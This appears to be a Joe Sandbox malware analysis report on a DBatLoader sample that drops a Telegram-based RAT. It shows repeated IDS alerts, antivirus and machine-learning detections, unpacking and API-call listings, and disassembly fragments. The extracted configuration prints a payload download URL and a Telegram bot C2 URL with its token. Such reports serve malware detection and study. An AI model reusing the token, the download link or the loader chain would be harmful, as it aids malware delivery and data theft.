2024-11-26T08:25:54.375472+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49876	149.154.167.220	443	TCP
2024-11-26T08:25:55.122672+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49878	149.154.167.220	443	TCP
2024-11-26T08:25:55.229963+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49877	149.154.167.220	443	TCP
2024-11-26T08:25:59.252785+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49884	149.154.167.220	443	TCP
2024-11-26T08:25:59.286116+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49887	149.154.167.220	443	TCP
2024-11-26T08:25:59.310128+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49886	149.154.167.220	443	TCP
2024-11-26T08:26:01.252796+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49898	149.154.167.220	443	TCP
2024-11-26T08:26:01.277971+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49897	149.154.167.220	443	TCP
2024-11-26T08:26:01.291141+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49899	149.154.167.220	443	TCP
2024-11-26T08:26:03.351666+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49904	149.154.167.220	443	TCP
2024-11-26T08:26:03.370309+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49905	149.154.167.220	443	TCP
2024-11-26T08:26:03.406589+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49906	149.154.167.220	443	TCP
2024-11-26T08:26:05.312972+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49914	149.154.167.220	443	TCP
2024-11-26T08:26:05.352639+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49913	149.154.167.220	443	TCP
2024-11-26T08:26:05.393524+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49912	149.154.167.220	443	TCP
2024-11-26T08:26:07.279485+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49920	149.154.167.220	443	TCP
2024-11-26T08:26:07.345296+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49921	149.154.167.220	443	TCP
2024-11-26T08:26:07.457694+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49922	149.154.167.220	443	TCP
2024-11-26T08:26:09.366044+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49927	149.154.167.220	443	TCP
2024-11-26T08:26:09.446698+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49930	149.154.167.220	443	TCP
2024-11-26T08:26:09.474202+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49928	149.154.167.220	443	TCP
2024-11-26T08:26:11.332919+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49933	149.154.167.220	443	TCP
2024-11-26T08:26:11.428641+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49935	149.154.167.220	443	TCP
2024-11-26T08:26:11.471048+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49936	149.154.167.220	443	TCP
2024-11-26T08:26:13.256007+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49941	149.154.167.220	443	TCP
2024-11-26T08:26:13.436690+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49942	149.154.167.220	443	TCP
2024-11-26T08:26:13.501238+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49943	149.154.167.220	443	TCP
2024-11-26T08:26:15.278867+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49948	149.154.167.220	443	TCP
2024-11-26T08:26:15.348597+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49949	149.154.167.220	443	TCP
2024-11-26T08:26:15.422819+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49950	149.154.167.220	443	TCP
2024-11-26T08:26:17.209949+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49954	149.154.167.220	443	TCP
2024-11-26T08:26:17.284332+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49956	149.154.167.220	443	TCP
2024-11-26T08:26:17.536036+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49958	149.154.167.220	443	TCP
2024-11-26T08:26:19.184103+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49962	149.154.167.220	443	TCP
2024-11-26T08:26:19.312608+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49963	149.154.167.220	443	TCP
2024-11-26T08:26:19.522199+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49964	149.154.167.220	443	TCP
2024-11-26T08:26:21.092837+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49970	149.154.167.220	443	TCP
2024-11-26T08:26:21.241718+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49971	149.154.167.220	443	TCP
2024-11-26T08:26:21.592855+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49972	149.154.167.220	443	TCP
2024-11-26T08:26:23.080079+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49978	149.154.167.220	443	TCP
2024-11-26T08:26:23.222050+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49979	149.154.167.220	443	TCP
2024-11-26T08:26:23.535147+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49980	149.154.167.220	443	TCP
2024-11-26T08:26:25.245719+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49985	149.154.167.220	443	TCP
2024-11-26T08:26:25.283026+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49987	149.154.167.220	443	TCP
2024-11-26T08:26:25.589458+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49988	149.154.167.220	443	TCP
2024-11-26T08:26:31.642373+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49995	149.154.167.220	443	TCP
2024-11-26T08:26:31.656599+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49994	149.154.167.220	443	TCP
2024-11-26T08:26:31.693328+0100	2853006	1	A Network Trojan was detected	192.168.2.7	49996	149.154.167.220	443	TCP
2024-11-26T08:26:33.574221+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50009	149.154.167.220	443	TCP
2024-11-26T08:26:33.643595+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50010	149.154.167.220	443	TCP
2024-11-26T08:26:33.752791+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50011	149.154.167.220	443	TCP
2024-11-26T08:26:35.569075+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50017	149.154.167.220	443	TCP
2024-11-26T08:26:35.681487+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50018	149.154.167.220	443	TCP
2024-11-26T08:26:35.733782+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50019	149.154.167.220	443	TCP
2024-11-26T08:26:37.715979+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50023	149.154.167.220	443	TCP
2024-11-26T08:26:37.794071+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50027	149.154.167.220	443	TCP
2024-11-26T08:26:37.818520+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50025	149.154.167.220	443	TCP
2024-11-26T08:26:39.757265+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50031	149.154.167.220	443	TCP
2024-11-26T08:26:39.795861+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50033	149.154.167.220	443	TCP
2024-11-26T08:26:39.916899+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50032	149.154.167.220	443	TCP
2024-11-26T08:26:41.912089+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50040	149.154.167.220	443	TCP
2024-11-26T08:26:41.912183+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50039	149.154.167.220	443	TCP
2024-11-26T08:26:41.929941+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50041	149.154.167.220	443	TCP
2024-11-26T08:26:44.076440+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50047	149.154.167.220	443	TCP
2024-11-26T08:26:44.094887+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50049	149.154.167.220	443	TCP
2024-11-26T08:26:44.123470+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50048	149.154.167.220	443	TCP
2024-11-26T08:26:46.030364+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50057	149.154.167.220	443	TCP
2024-11-26T08:26:46.066302+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50055	149.154.167.220	443	TCP
2024-11-26T08:26:46.115026+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50056	149.154.167.220	443	TCP
2024-11-26T08:26:51.465312+0100	2853006	1	A Network Trojan was detected	192.168.2.7	50070	149.154.167.220	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: EPTMAcgvNZ.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\Public\Libraries\Cobsfhiy.PIF

Avira: detection malicious, Label: TR/AD.Nekark.pgnqj

Found malware configuration

Source: EPTMAcgvNZ.exe	Malware Configuration Extractor: DBatLoader {"Download Url": ["https://bitbucket.org/ntim1478/gpmaw/downloads/240_Cobsfhiygmx"]}
Source: yihfsboC.pif.7240.14.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot6087613944:AAHG1t4ebh3cLprMu6Ghw3xp51s7PZqRKyE/sendMessage"}

Multi AV Scanner detection for dropped file

Source: C:\Users\Public\Libraries\Cobsfhiy.PIF

ReversingLabs: Detection: 63%

Multi AV Scanner detection for submitted file

Source: EPTMAcgvNZ.exe	ReversingLabs: Detection: 63%
Source: EPTMAcgvNZ.exe	Virustotal: Detection: 71%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\Public\Libraries\Cobsfhiy.PIF

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: EPTMAcgvNZ.exe

Joe Sandbox ML: detected

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 14.2.yihfsboC.pif.400000.5.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 23.2.yihfsboC.pif.400000.1.unpack
Source: C:\Users\Public\Libraries\yihfsboC.pif	Unpacked PE file: 26.2.yihfsboC.pif.400000.0.unpack

Source: EPTMAcgvNZ.exe

Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI

Source: unknown	HTTPS traffic detected: 185.166.143.48:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 16.182.70.225:443 -> 192.168.2.7:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.7:49972 version: TLS 1.2

Source:	Binary string: E:\Adlice\Truesight\x64\Release\truesight.pdb source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdb source: EPTMAcgvNZ.exe, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: _.pdb source: yihfsboC.pif, 0000000E.00000003.1357241369.0000000024219000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2540746609.0000000027061000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2535779078.0000000025D2B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2541431650.00000000285A0000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 00000017.00000003.1465818240.00000000327BE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2540455156.000000003429B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2546648768.0000000035951000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000002.2541674509.0000000034690000.00000004.08000000.00040000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2532622056.000000002859B000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2537622019.0000000029911000.00000004.00000800.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000003.1551837223.00000000268CE000.00000004.00000020.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2538166394.000000002AE90000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: cmd.pdbUGP source: esentutl.exe, 0000000B.00000003.1343597918.0000000005650000.00000004.00001000.00020000.00000000.sdmp, alpha.pif, 00000010.00000002.1408812461.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000012.00000000.1420522255.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source:	Binary string: ping.pdbGCTL source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr
Source:	Binary string: easinvoker.pdbH source: EPTMAcgvNZ.exe, 00000000.00000002.1413076026.000000007F200000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1326762946.000000007EDA0000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.00000000008C0000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000000870000.00000040.00000400.00020000.00000000.sdmp, yihfsboC.pif, 00000017.00000001.1460585249.00000000004F0000.00000040.00000001.00020000.00000000.sdmp, yihfsboC.pif, 0000001A.00000002.2505611445.00000000004F0000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: easinvoker.pdbGCTL source: EPTMAcgvNZ.exe, 00000000.00000002.1396601704.0000000020840000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.00000000217CE000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1372399400.0000000002B3E000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1347686581.000000002179D000.00000004.00000020.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1355304078.0000000002326000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000002.1396601704.00000000207F0000.00000004.00001000.00020000.00000000.sdmp, EPTMAcgvNZ.exe, 00000000.00000003.1252312705.000000007FC90000.00000004.00001000.00020000.00000000.sdmp, yihfsboC.pif, 0000000E.00000002.2505613508.0000000001160000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: alpha.pif, alpha.pif, 00000013.00000002.1534376052.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001B.00000002.1582953816.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001C.00000002.1619637523.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif, 0000001D.00000002.1624785769.0000000000391000.00000020.00000001.01000000.0000000A.sdmp, alpha.pif.11.dr
Source:	Binary string: ping.pdb source: esentutl.exe, 0000000F.00000003.1355379307.0000000005960000.00000004.00001000.00020000.00000000.sdmp, xpha.pif, xpha.pif, 00000014.00000002.1533195513.0000000000381000.00000020.00000001.01000000.0000000B.sdmp, xpha.pif.15.dr

Source: C:\Users\user\Desktop\EPTMAcgvNZ.exe	Code function: 0_2_02B15908 GetModuleHandleA,GetProcAddress,lstrcpynA,lstrcpynA,lstrcpynA,FindFirstFileA,FindClose,lstrlenA,lstrcpynA,lstrlenA,lstrcpynA,	0_2_02B15908
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	16_2_003A0207
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	16_2_003A589A
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose,	16_2_003B3E66
Source: C:\Users\Public\alpha.pif	Code function: 16_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	16_2_003A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 16_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	16_2_0039532E
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A589A FindFirstFileExW,GetLastError,GetProcessHeap,HeapAlloc,GetProcessHeap,HeapReAlloc,FindNextFileW,FindClose,GetLastError,FindClose,	19_2_003A589A
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A0207 FindFirstFileW,FindClose,memcpy,_wcsnicmp,_wcsicmp,memmove,	19_2_003A0207
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003B3E66 FindFirstFileW,FindNextFileW,FindClose,	19_2_003B3E66
Source: C:\Users\Public\alpha.pif	Code function: 19_2_003A4EC1 memset,FindFirstFileW,FindClose,FindFirstFileW,FindNextFileW,FindClose,??_V@YAXPAX@Z,GetLastError,SetFileAttributesW,_wcsnicmp,GetFullPathNameW,SetLastError,GetLastError,SetFileAttributesW,	19_2_003A4EC1
Source: C:\Users\Public\alpha.pif	Code function: 19_2_0039532E GetFileAttributesW,GetLastError,FindFirstFileW,GetLastError,FindClose,memset,??_V@YAXPAX@Z,FindNextFileW,??_V@YAXPAX@Z,SetLastError,??_V@YAXPAX@Z,GetLastError,FindClose,	19_2_0039532E

Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	14_2_2417E158
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 28DFE5E8h	14_2_28DFE1C8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	14_2_28DFC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993A56Dh	14_2_2993A1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993D975h	14_2_2993D5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993B0FDh	14_2_2993AD60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993E505h	14_2_2993E168
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993C81Dh	14_2_2993C480
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993FC25h	14_2_2993F888
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993BC8Dh	14_2_2993B8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993F095h	14_2_2993ECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993D3ADh	14_2_2993D010
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 299303E3h	14_2_29930040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993AB35h	14_2_2993A798
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993DF3Dh	14_2_2993DBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993EACDh	14_2_2993E730
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993B6C5h	14_2_2993B328
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993C255h	14_2_2993BEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993F65Dh	14_2_2993F2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 299309ABh	14_2_29930608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2993CDE5h	14_2_2993CA48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29951535h	14_2_29951198
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995A91Dh	14_2_2995A580
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995A355h	14_2_29959FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29950F6Dh	14_2_29950BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29959795h	14_2_299593F8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29959D8Fh	14_2_299599E8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29957AADh	14_2_29957710
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995B4ADh	14_2_2995B110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 299574BDh	14_2_29957120
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995AEE5h	14_2_2995AB48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29951AFDh	14_2_29951760
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995863Dh	14_2_299582A0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995C03Dh	14_2_2995BCA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29958075h	14_2_29957CD8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995BA75h	14_2_2995B6D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 299509A5h	14_2_29950608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 299591CDh	14_2_29958E30
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 299503DDh	14_2_29950040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 29958C05h	14_2_29958868
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 2995C605h	14_2_2995C268
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	14_2_2995501F
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	14_2_29955020
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then lea esp, dword ptr [ebp-04h]	14_2_2995542C
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	14_2_29B5DA65
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov ecx, dword ptr [ebp-38h]	14_2_29B5D630
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov dword ptr [ebp-20h], 00000000h	23_2_343DE158
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 36DBE5E8h	23_2_36DBE1C8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	23_2_36DBC0F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBDF3Dh	23_2_37FBDBA0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBAB35h	23_2_37FBA798
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBEACDh	23_2_37FBE730
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBB6C5h	23_2_37FBB328
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBF65Dh	23_2_37FBF2C0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBC255h	23_2_37FBBEB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBCDE5h	23_2_37FBCA48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FB09ABh	23_2_37FB0608
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBD975h	23_2_37FBD5D8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBA56Dh	23_2_37FBA1D0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBE505h	23_2_37FBE168
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBB0FDh	23_2_37FBAD60
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBF095h	23_2_37FBECF8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBBC8Dh	23_2_37FBB8F0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBFC25h	23_2_37FBF888
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBC81Dh	23_2_37FBC480
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FB03E3h	23_2_37FB0040
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FBD3ADh	23_2_37FBD010
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD9795h	23_2_37FD93F8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD9D8Fh	23_2_37FD99E8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD0F6Dh	23_2_37FD0BD0
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDA355h	23_2_37FD9FB8
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD1535h	23_2_37FD1198
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDA91Dh	23_2_37FDA580
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD1AFDh	23_2_37FD1760
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDAEE5h	23_2_37FDAB48
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD74BDh	23_2_37FD7120
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FDB4ADh	23_2_37FDB110
Source: C:\Users\Public\Libraries\yihfsboC.pif	Code function: 4x nop then jmp 37FD7AADh	23_2_37FD7710
